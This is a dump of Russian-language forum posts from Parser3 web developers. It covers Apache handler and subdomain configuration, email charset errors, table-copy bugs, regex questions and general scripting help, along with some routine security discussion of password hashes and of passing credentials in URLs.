$connect_string[mysql://andrew:and@localhost/usr/local/mysql/data/p3test]"
"11507","В документации сказано:\
<i>Проверяемым объектом может любой объект Parser: таблица, строка, файл, объект пользовательского класса и т.д.</i>\
\
А можно ли проверить существование функции и как? В доках я ничего не нашел на эту тему.\
\
Может быть так: if(def myfunc[]){yes}\
\
Подскажите, пожалуйста!..."
"11508","http://www.parser.ru/docs/lang/?junctionclass.htm\
\
[b]is junction[/b]"
"11510","Не сочтите за наезд, просто я почему-то считал, что обе версии документации (html и chm) идентичны... Оказывается, что нет! Это сообщение будет важно для новичков вроде меня. Вот, проверил еще раз: по запросу \"junction\" chm-версия описания Парсера ничего не дает: \"Разделы не найдены\".\
\
Спасибо, надо закачивать html-версию, она, судя по всему, более полная."
"11512","Я блин до того донастраивался MySql что не он, не парсер уже не работает.\
Помогите.......\
В документации::: # назначение обработчиком .html страниц\
AddHandler [color=\"red\"]parser3-handler html[/color]\
а в readme.txt:::\
AddHandler [color=\"red\"]parsed-html html[/color]\
Помогите разабратся. Вощетто не то не сё не работает, с AddHandler parsed-html html - работает всё кроме парсера (localhost), а с \
AddHandler parser3-handler html все не работает даже localhost. Ошибка \
[b]Unhandled Exception[/b]\
The server encountered an unhandled exception and was unable to complete your request. \
ну и.т.д\
Помогите я уже не чего не догоняю 8-("
"11513","обычно устанавливал сам parser.cgi в home/cgi-bin, а в каждой папке типа home/lala.ru/www/ -- файл .htaccess с таким содержимым\
\
[code]AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]\
\
все это описано: http://www.parser.ru/download/win32/\
\
и все работало..."
"11514","документация в .chm формате от 2002.12.27, на запрос 'junction' выдало:\
\
1. класс junction \
2. is. Проверка типа\
\
да и в PDF-версии всё пучком.\
Другое дело что online-версия документации гораздо оперативнее обновляется, но если смотреть на это с правильной стороны, это скорее плюс, чем минус.\
\
   "
"11515","Да такой документации можно только позавидовать! На 99 процентов  вопросов в этом форуме можно ответить грозным словом RTFM :-) Это говорит о многом... "
"11516","А я закачал chm за неделю до 27.12.2002... Ну кто же знал, что оно так быстро поменяется? Более того [(с)Sergey M.], я думаю, что понятие junction должно было бы появиться и в предыдущих версиях документации, поскольку в самом Парсере уже активно использовалось.\
\
Спасибо всем! Тема, вероятно, себя исчерпала? Я просто пытался логично рассуждать... Будем считать, что у меня это НЕ получилось."
"11517","вопрос этот поднимался уже, но ничего конкретного в итоге не всплыло...\
Стандартная авторизация всем устрайвает кроме одного — всплывающее окошко.\
Надо чтобы логин и пароль вводились в вормочку, затем её постим.\
Но как затем серверу сказать, что человек прошёл авторизацию?"
"11518","AddHandler parser3-handler html \
Action parser3-handler /cgi-bin/parser3.cgi\
\
(AddHandler parser3-handler html \
Action parser3-handler /cgi-bin/parser3.exe\
для windows)\
\
Вообще-то, вместо parser3-handler можно написать всё, что угодно ...\
Хоть ххх-parser3-rulit\
Но это выражение в AddHandler и Action должно быть одинаковым."
"11519","Поставил парсер 3.0007 на apache 1.3.23 (win32).\
Апач написал running...\
\
Стер файл parser3.conf из корня сайта, стер парсер из cgi-bin в корневой поддирректории. В .htaccess прописал\
AddHandler parsed-html html\
ParserConfig d:/parser3/auto.p\
DirectoryIndex index.html\
<Files ~ \"\\.cfg$|\\.p$\">\
Order allow,deny\
Deny from all\
</Files> \
\
В httpd.conf у меня прописано\
<VirtualHost www.site.do>\
    ServerAdmin webmaster@dummy-host.example.com\
    DocumentRoot d:/www/site/\
    ScriptAlias /cgi-bin/ \"d:/www/site/cgi-bin/\"\
    ServerName www.site.do\
    ErrorLog logs/site.err\
</VirtualHost>\
\
Сайт парсером обрабатываться не хочет!\
Что я сделал не так?\
"
"11522","если я пытаюсь добраться до файла так \
http://host/fix/index.html то все нормально\
но вот когда я сделал поддомен на папку fix и пытаюсь добраться так http://fix.host/index.html файл незагружается.\
\
возможно нужно прописать .htaccess доступ к парсеру через поддомен?\
\
"
"11523","error log никакой ошибки нерегистрирует.."
"11524","Возможно, пригодится тот факт, что логин и пароль можно вводить непосредственно в адрес запрашиваемой директории, например: http://pupkin:parol@www.domain.com/path/dir/\
\
Можно просто подменить тело страницы результатом этого запроса (а не переправлять на него, чтобы не отображать его адрес)."
"11525","Нельзя передавать пароль через uri - он останется в логах прокси, хистори браузера и ещё много где - не делайте медвежьей услуги пользователю.\
\
Авторизацию на сайте без использования паролирования директорий обсуждали ещё на форуме по парсеру-2 - используйте поиск.\
"
"11526","Внутри <VirtualHost> должно быть\
[code]<Directory \"d:/www/site\">\
    AllowOverride all\
</Directory>[/code]\
Иначе просто не цепляется .htaccess"
"11527","почитайте, наконец, FAQ?"
"11528","это что? 404, 500, Unhandled Exception, что именно?"
"11529","Чем английская плоха?"
"11530","[code]\
^mail:send[\
    $.charset[koi8-r]\
    $.from[Bycd order! <bitmag@ukr.net>]\
    $.to[me <bitmag@ukr.net>]\
    $.subject[order]\
    $.html{$data}\
   ]\
[/code]\
\
Приходит в cyrillic(windows). Но я же пишу $.charset[koi8-r]!\
В чем дело ?\
"
"11531","Похоже не прописан Action, без него парсер в сторону вашего сайта даже не посмотрит.\
\
В .htaccess после\
[code]AddHandler parsed-html html[/code]\
надо добавить строчку:\
[code]Action parsed-html /cgi-bin/parser3.exe[/code]\
\
[i]...стер парсер из cgi-bin в корневой поддирректории...[/i]\
??? новый бинарник, я надеюсь, на месте? "
"11532","как сделать, чтобы при переходе со страницы на страницу, в адресной строке отображался не полный путь к странице а просто абрес сайта или если переход к документу в другую директорию, то адрес директории.\
например сайт: http://domen.com.ua\
страница находиться по адресу: http://domen.com.ua/links.shtml\
так вот надо, чтобы небыло видно: links.shtml\
что и как надо сделать?"
"11533","он наверное имеет ввиду русскую мануалку.\
http://php.spb.ru/ посмотри. немного информации на русском языке тут есть."
"11534","и маленько подумать. При обращении к http://.../links/ на самом деле выдается страница по умолчанию, обычно index.html если её нет выдается листинг каталога, если листинг запрещен выдается ошибка."
"11535","так этож получится, что каждую страницу кинуть в свой каталог. а зачем, если есть программное решение. вот только как?"
"11536","раньше, когда многие болели фреймами (ненавижу!), этот вопрос решался очень легко - сделал корневой index.html фреймированым, и все - юзер кроме твоего домена нихрена не увидит. Но это бооольшой минус в usabilty, да и на поисковики это влияет плохо. Детально, помоему, Лебедев, про это писал - просмотрите ру/ководство.\
\
Можно извращнуться $response:location[links.html], только нужно учитывать начальный слеш в параметре - если он есть, то будет считываться путь от корня сайта, и юзер узреет ваш 'links.html'. Чтобы подлец видел только каталог не используйте этот слеш.\
\
И еще - после $response:location[links.html] адресная строка не меняется...\
\
Не знаю, доступно ли объяснил...:)"
"11537","не совсем.\
например есть странички:\
- index.shtml\
- links.shtml\
- contact.shtml\
- calendar.shtml\
меню для этих страничек вызывается из файла sections.cfg\
напишите плз код для этих страничек."
"11538","и анализ их там, и далее выдача содержимого в зависимости от того какой URL, перенаправление с помощью mod_rewrite делается так:\
[code]\
RewriteEngine on\
\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^(.*)$	/index.html?uri=/$1 [L,QSA]\
[/code]\
\
можно делать также и через обработку ошибки 404.\
[quote]\
Вопрос о том, как писать хорошие программы напоминает вопрос - как писать хорошую английскую прозу? Есть два ответа - знай что хочешь сказать и пиши, и пиши подражая хорошему стилю, оба они очень просты, но им обоим одинаково трудно следовать.\
[/quote]"
"11539","Целью и задачей этого форума является не написание кода для других, а обмен идеями."
"11540","а сложно помочь?\
например некоторые команды я методом тыка впихивал в странички.\
а вот в данном случае я не могу разобраться (понять) как сделать."
"11542","...говорю за себя...\
\
Мне интересно обсуждать идеи, делиться идеями, причем тоже не всегда, а только если я вижу, что другой человек тоже заинтересован в получении [b]знаний[/b], а не куска кода..."
"11543","Когда Эйнштейна спросили о том, в чём же заключается суть его теории относительности, он ответил что если вы проведёте одну минуту с голой задницей на раскалённой сковородке, она вам покажется вечностью, а если вы проведете один час в компании с прекрасной дамой, он вам покажется одной минутой ..."
"11544","обмениваться идеями нет"
"11546","Конечно не регистрирует.\
1. О каком логе идёт речь? Он у этих виртуалхостов один?\
2. Два разных хоста - это два РАЗНЫХ хоста. У каждого своя конфигурация даже, если один находится в подкаталоге другого, если не оговорено обратного.\
\
Вам не на этот форум, а к мануалу по вашему web-серверу."
"11547","можно, допустим так :\
\
в index.html рисуем меню навигации, ссылки на страницы(links.html, contact.html...) направляем в себя - что-то типа <a href=\"?go_to=links\">Ссылки</a>, и в index.html обрабатываем то, что получим в $form :\
[code]\
^if(def $form:go_to){\
        $response:location[${form:go_to}.html]\
}\
[/code]\
только это не безопасно - если юзер введет в адресной строке что-то другое, вы отгебете error file.missing. В таком случае подключите сюда ^switch[]{} - надежнее...\
\
Но такое решение организации структуры сайта - сакс...\
Прислушайтесь к советам этого треда."
"11548","отправляйте пока старым способом, через $.body, и сами задавайте и $.charset и $.content-type[$.value[text/plain] $.charset[koi8-r]]\
\
так нельзя отправлять html почту, content-type недостаточно поменять на html, поскольку untaint всё равно произойдёт as-is."
"11549","Да тем, что для неё нужен plugin с английским:)"
"11551","просто прогрес бар увеличивается до какихто пор и все стоит\
пустой экран но страницп незагружена, а все еще находится в процессе загрузки.\
\
Помнится на форуме такою проблему обсуждали, когда у меня есть сервер с папкой cgi-bin и под домены тоже с папкам cgi-bin\
Так вот чтоб parser.cgi хранить только в корневой cgi-bin , а не делать копии по всем дочерним директориям.\
\
"
"11552","случае один это host.com\
а под домен присоединен к папке этого хоста \
поэтому лог файл общий для всех под доменов данного хоста"
"11553","Создал в папке host/fix/\
файл .htaccess в котором прописал путь к cgi-bin вот так\
\
SetEnv HTTP_PARSER_ROOT_CONFIG /home/host/public_html/cgi-bin/parser3.conf\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /home/host/public_html/cgi-bin/parser3.cgi\
\
# запрет на доступ к .cfg и .p файлам:\
\
Order allow,deny\
Deny from all\
\
\
но не помагло"
"11554","Наверное я чего-то не понимаю. Что значит прикреплён? Как это реализовано?"
"11555","есть host.ru\
на host.ru есть папка fix\
доступ к файлу index.html (с кодом парсера) я \
могу получить двумя путями \
так host.ru/fix/index.html\
и так fix.host.ru/index.html\
\
в данном случае под домен fix.host.ru это тоже самое что и host.ru/fix\
"
"11556","Научите обрабатывать файлы Парсером без веб-сервера..."
"11557","[вы не написали ничего, поставьте себя на место читателя, он что, догадается, что «прогресс бар просто стоит»?]\
\
возможно, ваш DNS пока не обновился, и надо дождаться, когда он обновится.\
\
вы кому-нибудь вообще написали, что хотите поддомен, или только веб-сервер настроили и хотите счастья?\
\
проверка: в консоли скажите\
[code]\
ping поддомен.домен.ru\
[/code]\
\
моё подозрение: вы получите сообщение «узел не найден»."
"11559","Скажем, у меня страницы сайта mysite.com в каталоге sites/mysite/www/, а мне нужно взять файлы в sites/common/data/ Как мне быть?"
"11560","Если будет время то зайдите сюда\
http://thomasdg.com/fox а потом сюда\
http://fox.thomasdg.com\
\
Так вот к чему это я под домен прекрасно работает и сайт thomasdg.com прекрасно работает на парсере.\
\
дальше вот попробуйте на себе сходите поссылке\
http://thomasdg.com/fox/stat   - ссылка рабочая\
http://fox.thomasdg.com/stat   - это тоже самое но неработает\
\
Замечу что в папне fox есть своя папка cgi-bin"
"11561","2-ой день уже воюю с новой возможностью копирования таблицы относительно определенной строки некоторого количества записей. Проблема в том, что при задании $.offset(<4) - (меньше четырех) - все работает исправно(почти - без использования $.limit() - не работает вообще), но если оффсет задать 4 и больше - Парсер круто зависает и выдает critical error, после которого система его отрубает. В частности, ошибка \
[code]\
szAppName : parser3.exe     szAppVer : 0.0.0.0     szModName : ntdll.dll     \
szModVer : 5.1.2600.0     offset : 000036f7\
[/code]\
не знаю, чтобы это могло значить, но то, что это баг - сомнений нет.\
Вот.\
\
P.S. Это Parser3.0.0007 Win32 CGI + XML\
\
Вот реальный код, на котором Парсер \"зависает\" :\
[code]\
## создаем таблицу\
$table1[^table::create{id}]\
^for[f1](1;10){\
	^table1.append{$f1}\
}\
## копируем ее - рабочий вариант\
$table2[^table::create[$table1;$.offset(3)$.limit(5)]]\
## выводим\
^table2.menu{\
	$table2.id\
}[<br />]\
## получим\
4 \
5 \
6 \
7 \
8\
\
## нерабочий вариант\
$table2[^table::create[$table1;$.offset(4)$.limit(5)]]\
## выводим\
^table2.menu{\
	$table2.id\
}[<br />]\
## получим\
exception in request exception handler: Exception 0xC0000005 at 0x0040FECA\
[/code]"
"11562","да хоть с ошибками дайте кусок кода. буду сидеть разбираться :)"
"11563","у меня обе ссылки показывают Unhandled exception.\
"
"11564","исправлю=сообщу"
"11568","можно пользоваться таким вот оператором :\
[code]\
#######################################\
## copies one table to other using offset and limit\
@copy[from;offset;limit][from;offset;limit;dyn_tbl;f1;clmns]\
^if(!($from is table)){\
	^throw[parser.compile;copy;Nothing to copy]\
}\
$offset(^offset.int(0))\
$limit(^limit.int(0))\
$clmns[^from.columns[]]\
$dyn_tbl[^table::create{^clmns.menu{$clmns.column	}}]\
^from.offset[set]($offset)\
^if(!def $limit || $limit eq 0){\
	$limit(^from.count[])\
}\
^if(($offset + $limit) > ^from.count[]){\
	$limit(^from.count[] - $offset)\
}\
^for[f1](1;$limit){\
	^dyn_tbl.append{^clmns.menu{$from.[$clmns.column]	}}\
	^from.offset[cur](1)\
}\
$result[$dyn_tbl]\
######## end of @copy[] method ########\
[/code]\
\
юзать так :\
[code]\
$new_table[^copy[$exist_table;offset;limit]]\
[/code]\
код не идеален, но мои проблемы решил..."
"11569","Я решил проблему \
тупо скопировал парсеровские файлы \
из\
host.ru/cgi-bin в\
fix/host.ru/cgi-bin/\
\
и все заработало, хотя это невыход.\
\
А ошибку вы увидели потому, что я в данный момент изменял файл, за что извиняюсь"
"11572","чтобы люди учились на ваших ошибках"
"11573","Прошу прощения за оффтопик; надеюсь, впрочем, что получу ответ. Захотел прикрутить к разрабатываемому сайту фичу отслеживания заказов через WAP - чтобы клиент мог посмотреть состояние своей заявки через мобильник. Как настроить парсер на отдачу не только HTML-контента, но и других content-types, понятно, сложность в том, что я не нашёл толкового описания WAP :-( \
\
http://www1.wapforum.org/tech/documents/WAP-191-WML-20000219-a.pdf и другие, в отличие от W3C-шных спецификаций, нечитабельны, а более вменяемого описания WML с примерами я не нашёл :-( Покидайте в меня ссылочками, коли не жалко, а?"
"11574","[code]\
$t2[^t.select(^t.line[] > $offset && ^t.line[] <= $offset+$limit)]\
[/code]"
"11575","їаїдїбївїСїУїЭїсїр \"їХїСїдїС їбїа ївїеїгїгїЬїЪ:\"\
їбїаїЭїеїйїСїр: \"ЁWЁTїўЁT ЁbЁa їАїёїЎїЎЁ]Ё[:\"\
\
[code]\
^mail:send[\
    $.content-type[\
       $.value[text/plain]  \
       $.charset[koi8-r] \
    ]\
\
    $.charset[koi8-r]\
    $.from[Bycd order! <bitmag@ukr.net>]\
    $.to[me <bitmag@ukr.net>]\
    $.subject[order]\
    $.text[їХїСїдїС їбїа ївїеїгїгїЬїЪ: $data]\
   ]\
[/code]"
"11577","плейер клиента не виноват 100%.\
первым делом проверь папку temporary internet files на своей машине (поищи там swf) - если найдёшь убей!!!\
А если flash-ку закешировал proxy-сервер, тогда всё гораздо хуже, его кеш тебе видимо никто не даст чистить - здесь наверное придётся смириться и ждать :( 9пока там кеш обновится) "
"11579","[code]\
$capt{Reply !}\
^mail:send[\
    $.charset[koi8-r]\
    $.from[zz <bitmag@ukr.net>]\
    $.to[zz <$parentemail>]\
    $.subject[$capt]\
    $.html{zz}\
   ]\
[/code]\
Отлично работает за исключением кодировки!\
\
[code]\
$capt{Reply ! $form:caption}\
^mail:send[\
    $.charset[koi8-r]\
    $.from[zz <bitmag@ukr.net>]\
    $.to[zz <$parentemail>]\
    $.subject[$capt]\
    $.html{zz}\
   ]\
[/code]\
\
Выдает:\
transcodeFromUTF8 error: too big tmpVal(0x001E39B2)\
\
Что делать ?"
"11580","злой ты, Миша - очень!\
\
После того, как 2 дня пинаешь монитор и материшь весь MySQL, а в конце выясняешь, что дело в баге Парсера, на спортивные идеи остается немного. На тот момент меня хватило на такой код - я не стал искать оптимальных решений - я написал то, что работало и возмещало мои потребности. Кроме Парсера у меня есть еще и другие заботы, поэтому я не могу помнить весь его мануал наизусть. За каждой идеей я в доку не лезу, что не есть хорошо, но мне так привычнее.\
\
Кроме того, я, учитывая все твоему-подобные замечания, сказал, что мой код не оптимален.\
\
Но с другой стороны я тебе признателен - ты попался на удочку. Обычно от тебя и слова не вытянешь, а так - смотри - сексуальное решение временному багу.\
\
P.S. Только давай хватит, а то это не закончится...:)"
"11581","/../../common/data/"
"11583","Цитата из http://parser.ru/forum/?id=8533 :\
[code]\
^if(^можно[]){\
    $response:body[^file::load[binary;/../data/secret.doc]]\
}\
[/code]\
\
а дальше надо мозги включить :)"
"11584","[code]\
^mail:send[\
    $.charset[koi8-r]\
    $.content-type[$.value[text/plain] $.charset[koi8-r]]\
    $.from[order! <bitmag@ukr.net>]\
    $.to[me <bitmag@ukr.net>]\
    $.subject[order]\
    $.body[Русск]\
   ]\
[/code]\
\
Приходит:\
&#1139;\
\
[code]\
^mail:send[\
    $.charset[koi8-r]\
    $.content-type[$.value[text/plain] $.charset[koi8-r]]\
    $.from[order! <bitmag@ukr.net>]\
    $.to[me <bitmag@ukr.net>]\
    $.subject[order]\
    $.body[Русски]\
   ]\
[/code]\
\
Выдает ошибку:\
transcodeFromUTF8 error: too big tmpVal(0x000B2AE8)\
\
\"Русск\" - посылает, но не то, а \"Русски\" - ошибка!!!\
\
Parser/3.0.0007\
IIS 5 (Win XP)"
"11585","Читайте внимательнее: выдать _результат_ запроса, а не отправить на саму страницу. Так что ни браузер, ни прокси ни о чем не догадаются."
"11586","обсасывали не раз.\
эта ошибка обычно означает, что у тебя не указано $request:charset и парсер не знает, из чего-же перекодировать в кои, берет utf8 (это его умолчание) и считает что текст (который у тебя лежит, как я понимаю в 1251) в кодировке UTF8.\
\
далее, естественно, обламывается...\
\
скачай _test.html и посмотри, подключено-ли у тебя что надо и какие значения в $response:charset и $request:charset\
\
P.S. должен увидеть что-то типа этого:\
http://parser.ru/_test.html"
"11587","К сожалению проверить работу по другому порту не удалось. Хозяева отказались его сообщать. Им было проще сделать версия для виндовз кодировки, все успешно работает. спасибо.\
жаль, что не удолось поиграть с настройками."
"11588","все работает, делать все автоматически не получилось, источнику оказалось проще сделать версия под нашу кодировку. а вообще вещь полезная, я имею в виду перекодировку на лету"
"11589","[code]\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]]\
#$request:charset[windows-1251]\
#$response:charset[windows-1251]\
[/code]\
работает.\
\
[code]\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]]\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
[/code]\
\
И сами знаете что: ошибка:\
'windows-1251' unknown charset [parser.runtime]\
\
Поиск использовал. Говорят нужно переменную окружения пути прописать, но это под аппач, а под IIS что делать ?"
"11590","Пытался заюзать сабжевый код, но все время получаю ошибку вида\
\
[code][Thu Jan 16 00:31:49 2003] /info.html: D:/Projects/test/info.html(0): 'D:/Projects/clan/kayenit/http://www.\
parser.ru/' read failed: Invalid argument (22), actual filename 'D:/Projects/test/http://www.parser.ru/'\
[<no type>][/code]\
\
Т.е., как я понимаю, парсер пытается искать этот фаул на винте. Вопрос: я что-то криво отконфигурировал, или эта фича (чтение с http://) появилась в 3.0006? Я юзаю предыдущий вариант.\
\
Заранее спасибо.\
\
З.Ы. Если моя гипотеза насчет 3.0006 верна, буду безмерно благодарен за наколку, где взять его, откомпиленный без foreign-groups."
"11592","На www.net.ru - точно такая же система создания субдоменов. К примеру: к файлу /users/o/p/opensea.ru/html/www/index.html можно обратиться:\
1. http://www.opensea.ru/index.html\
2. http://opensea.ru/www/index.html\
\
Работать \"через Парсер\" будет только в каком-то одном случае. \
\
Настрой свои конфиги для, к примеру, http://fix.host.ru и не мучайся больше :)\
"
"11593","Пытаюсь ткрыть файл из внешнего мира с помощью ^file::open[text;http://...]. В случае, если файл на сервере переложен (т.е. возвращается статус 302 Found и должен идти редирект), Парсер ругается. Можно ли сделать, чтобы он обработал это дело и пошел по новой ссылке? Как вырезать ссылку - понятно, вопрос как заставить Парсер не падать духом, а затянуть response в файл... \
\
Ясно, что можно поймать ошибку http.status, но вот как этим воспользоваться - ума не приложу.\
\
Заранее спасибо. Если RTFM - извините, вроде не нашел..."
"11594","Я его как модуль к апачу ставил. А там не бинарник а .dll"
"11595","Я только взял вручную все параметры переписал и он заработал.."
"11596","Зачем к зашифрованной строке \
   $apr1$MhRA5Dn3$9PFB4SA58/4Tn0uKVf2.s/\
добавляется $apr1$, если его потом при расшифровке можно вручную дописать?\
По-моему этим самым куском текста мы просто сообщаем потенциальному взломщику алгоритм шифрования строки."
"11597","самого парсера?\
потому как мне нужно чтоб работал парсер и на \
http://host.ru \
и на \
http://fix.host.ru\
\
Я проблему решил тем что просто скопировал файлы парсера в папку \
cgi-bin под домена fix.host.ru - это конечно не решение особенно если будет несколько под доменов"
"11598","нужно распаковать в cgi-bin архив с конфигурационным файлом и файлами описаниями кодировок.\
\
это написано в левой колонке раздела download."
"11599","взять и обработать.\
посмотреть на status, увидеть 302, и запросить другой location.\
и так пока статус не станет отличаться от 3xx. если будет 200, значит вы нашли.\
\
возможно, со временем появится опция, которая заставит проделать это сам parser, а пока делайте сами.\
\
моё мнение: использовать загрузку внешних документов надо с большой осторожностью, крайне желательно: асинхронно, когда не страшна медленная скорость обработки запроса."
"11600","это не авто-сигнализация, тут нестрашно, что потенциальный взломщик знает способ «как закрыли».\
\
важно, что даже зная способ [и даже имея перед глазами все исходники и все данные], [b]при хорошем пароле[/b], он не сможет его подобрать за [b]разумное время[/b].\
\
и это единственное, что важно.\
\
а буквальный ответ: чтобы та программа, что проверяет пароль, знала, каким алгоритмом зашифровано. всё сделано в стандартном для unix стиле, и любая unix программа: apache, функции perl, функции python, и все остальные будут расчитывать, что сигнарура алгоритма присутствует."
"11601","есть файл на метр.\
парсер не может его разгрести, т.е. например добавляю все эти\
строки в БД, и через некоторое время - ошибка.\
что-то там со временем!\
как от этого избавится?."
"11602","Помогите ....\
не могу сделать, чтобы в тексте распарсиваемое страницы все картинки заменялись на их альтернативные надписи.\
[code]<img src=\"images/avatar1.gif\" width=40 height=40 alt=\"Bася\" >\
[/code]\
заменит на просто\
[code]\
Вася\
[/code]"
"11603","...но как вытащить новый location? После получения 302 Парсер не хочет дальше получать информацию от сервера... В PHP, несмотря на не-200 статус, в переменную затягивается микро-страничка \"Moved temporarily\" с указанием, где взять файл. Но парсер-то не дает доступа к этой информации...\
\
Или я что-то не так понимаю?"
"11604","иначе получается ерунда"
"11605","я забыл, что в целях ускорения получения ответа, отваливаюсь от сервера совсем.\
простите за попытку введения в заблуждение.\
\
если нужно срочно, можно поправить исходник:\
[code]\
убрать if и throw тут совсем\
parser3\\src\\main\\pa_common.C:169\
[/code]"
"11606","я работал с файлами в 3.3 метра - все Парсер успешно обрабатывает. Иногда, правда, его при таких объемах мутит и он путается с кодировками - жмешь релоад - все путем.\
\
А если твой Парсер \"зависает\", то, скорее всего, у тебя код неважен - зацикливание, или еще что(хотя Парсер все, что больше 10000 раз крутится - обрубает).\
\
В любом случае неплохо было бы взглянуть на текст ошибки..:)"
"11607","[code]$html_weather[<img src=\"http://transpele.lg.ua/images/cloud.gif\" width=40 height=40 alt=\"облачно\" title=\"облачно\"><img src=\"http://transpele.lg.ua/images/clear.gif\" width=40 height=40 alt=\"ясно\" title=\"ясно\">]\
\
\
^html_weather.match[<img src=\".*\" width=[0-9]{2,2} height=[0-9]{2,2} alt=\".*\" title=\"(.*)\">][igm]{$match.1}[/code]\
на что оно мне человеческим голосом отвечает\
[code]ясно[/code]\
вместо \
[code] облачно \
ясно[/code]\
"
"11608","сначала тебе нужно отловить все вхождения тэгов img, потом в этом вхождении найти alt и заменить $match.1 на значение alt.\
Реализация :\
[code]\
^text.match[<img([\\w\\s/\"%=]+(alt=\"*(\\w)+\"*))\\w*>][gi]{$match.3}\
[/code]\
кажется - правильно - не проверял..:)...могу ошибаться"
"11609","Люди! Можно ли парсером делать gif с прозрачным фоном?"
"11610","Люди обясните использование разделителей метода .menu Если можите напишите пример использования.\
Спасибо!!!!!!!\
............................................"
"11611","out of pool memory: failed to allocate 24 bytes; alre\
ady allocated on pool: 38345221 bytes in 1235995 times.\
с мелкими файлами работает нормально!"
"11612","видать тут такая обработка этого файла матчами имеет место быть, что просто исчерпывается лимит памяти для процесса"
"11613","там есть пример"
"11615","есть *.php файл, который не обрабатывается парсером.\
структура страницы такова, что меню можно вставить только используя тэг <div> с позиционированием. проблема заключается в следующем:\
если не использовать этот тэг, то меню отображается нормально, но структура страницы рушится. если использовать тэг, то при наведении мышки на любой баннер на странице, меню исчезает.\
баннеры приинклудены в страницу.\
include(\"ban_1.inc\");\
тут идет меню\
include(\"ban_2.inc\");\
прикол такой, что при наведении мышки на верхний все ок, но когда на нижний меню исчезает"
"11616","или я не знаю, попробуйте таблицами, все должно получиться.\
дайте адрес."
"11618","конструктивный ответ :("
"11619","!по-умолчанию, получение http status != 200 >> создает http.status ошибку,\
!это можно отключить, передав опцию\
!$.any-status(1)"
"11620","и можно сделать, без перечисления всех атрибутов, подумайте как."
"11621","вот адрес:\
http://tsehauto-2000.com.ua/auto.php\
login: 1\
password: 1\
войдите в аку и там будет меню"
"11622","Почитайте доку.\
\
Там есть такая штука\
[b]measure. Создание объекта на основе существующего графического файла[/b]\
\
Откройте прозрачный файл и вперед.\
"
"11625","[code]\
<img.+?alt=\"(\\w+)\".+?>\
[/code]"
"11626","Прикол такой:\
беру рисунок с прозрачным фоном.\
Маштабирую его методом .copy\
в результате появляется на фоне цвет"
"11629","нет не видел, а что какието проблемы?"
"11631","при copy без resize прозрачность сохраняется.\
\
bug был в той доисторической gd, которая сейчас используется в parser.\
со временем перейдём на последнюю версию [если её авторы, наконец, подумали о работе с памятью], и выкинем работу с gif нафиг, будет png+что там ещё она умеет."
"11632","придется ручками :("
"11634","нет. это то понятно.\
Проблема была в том, чтоб на основе имеющихся картинок сгенерить их маштабированные копии (для предосмотра)"
"11635","используемый сейчас алгоритм тривиален, не годится для чего-то большего, чем расставление значков на карте.\
\
используйте ImageMagik, который тут обсуждался не раз."
"11636","Какие символы ставить, если в кавычках идет смешаный текст\
русский и английский \"Злапупындрия. inc\"? Елочки или лапки?"
"11638","Название употребляется в русском или английском [кон]тексте? Если в русском - ставь русские же <<ёлочки>>"
"11641","Темину страницу руководства я уже посетил... практически все что там было уже реализовал.\
Просто хотелось бы знать, может еще что упущено..."
"11642","ну и что здесь такого?"
"11643","Хотя начинаю понимать, что чем больше знаешь, тем меньше можешь :-) Ну найдите мне такой пробел, который переносится, но не расширяется. Или наоборот. Нет такого в HTML. В Ворде есть -- и то лишь [url=http://razetdinov.inc.ru/articles/word/1.html]первый[/url]."
"11644","подскажите кто знает: есть папка news, в ней хранятся файлы с расширением *.news.\
Можно ли сделать так, чтобы при вставке в страничку приблизительно такого кода:\
$f[^file::stat[news/*.news]]<b><font color='red' size=\"-2\"> $f.cdate.day : $f.cdate.month : $f.cdate.year\
$new_after[^date::now(-3)] &nbsp; статус: <font face='Verdana, Arial, Helvetica, sans-serif' size='-2' color='#002951'>^if($f.mdate >= $new_after){новый;старый}</font></font></b></div>\
<div style=\"text-align:justify;\"><font face='Verdana, Arial, Helvetica, sans-serif' size='-2' color='#002951'>$f[^file::load[text;news/*.news]]^process{^untaint{$f.text}}</font><br>\
загружались последние 3 файла с новостями (выборка по дате).\
т.е., не напрямую указывать название файла, а указать расширение (*.news) и все. автоматически при добавлении нового файла грузится новая новость.\
если такая фишка осуществима, подскажите плз."
"11645","дело в том, что то, что расположено по предоставленному тобой адресу, можно смотреть только один единственный раз. После луча оранжевого цвета, полученого \"в глаз\" я туда никогда не зайду - напрягает. Могу посоветовать перечесть статьи о психологической, эмоциональной и всех остальных нагрузках цвета. Уверен - ты пересмотришь дизайн вцелом.\
\
Кроме того, несмотря на то, что это админ-раздел, usability там нулевое. Ставим себя на место админа : заходим на сайт делать ключевые изменения, или просто поддержку сайта, и что мы видим - банеры, банеры, и... банеры. Ты что, на себе же деньги заработать хочешь? Админ раздел, это один из тех, которые должны функционировать максимально оперативно, в твоем же случае админ кончится, пока дождется загрузки страницы. А навигация? А...? Ну, и все в том же духе. И это, как говорит Миша, только первые строки...\
\
P.S. Понимаю, что проэкт, возможно, находится в процессе реализации и много там еще не доведено до ума, но все же - мне кажется, надо пересмотреть дизайн сайта, imho.\
P.P.S. Только не нужно оправдываться и упрекать - прислушайтесь к советам  - не может же столько человек ошибаться...:)"
"11646","можно воспользоваться примером из документации :\
[code]\
$list[^file:list[/news/;\\.news^$]] \
^list.menu{ \
     ^if(-f \"/news/$list.name\"){\
          $f[^file::stat[/news/$list.name]]\
          ^if($f.mdate то, что нам нужно){\
              выводим новость\
          }\
     }\
} \
[/code]\
ну, или что нибудь еще - это первое, что пришло ы голову."
"11647","на странице http://razetdinov.inc.ru/windows/7 не работает javascript"
"11648","Он подразумевает, что новости будут выводиться таки в каком-либо порадке :)\
\
[code]\
# функция сортировки, возвращает строку, которые собственно и сортируются\
@sort_func[file][f]\
$f[^file::stat[$file]]\
$result[^f.mdate.sql-string[]]\
\
\
@main[]\
# считываем содержимое каталога, в простейшем случае можно не проверять потом существование файла, т.к. мы только-что этот список получили, но по хорошему в функции сортировки надо это дело проверять\
$list[^file:list[/news/;\\.news^$]]\
\
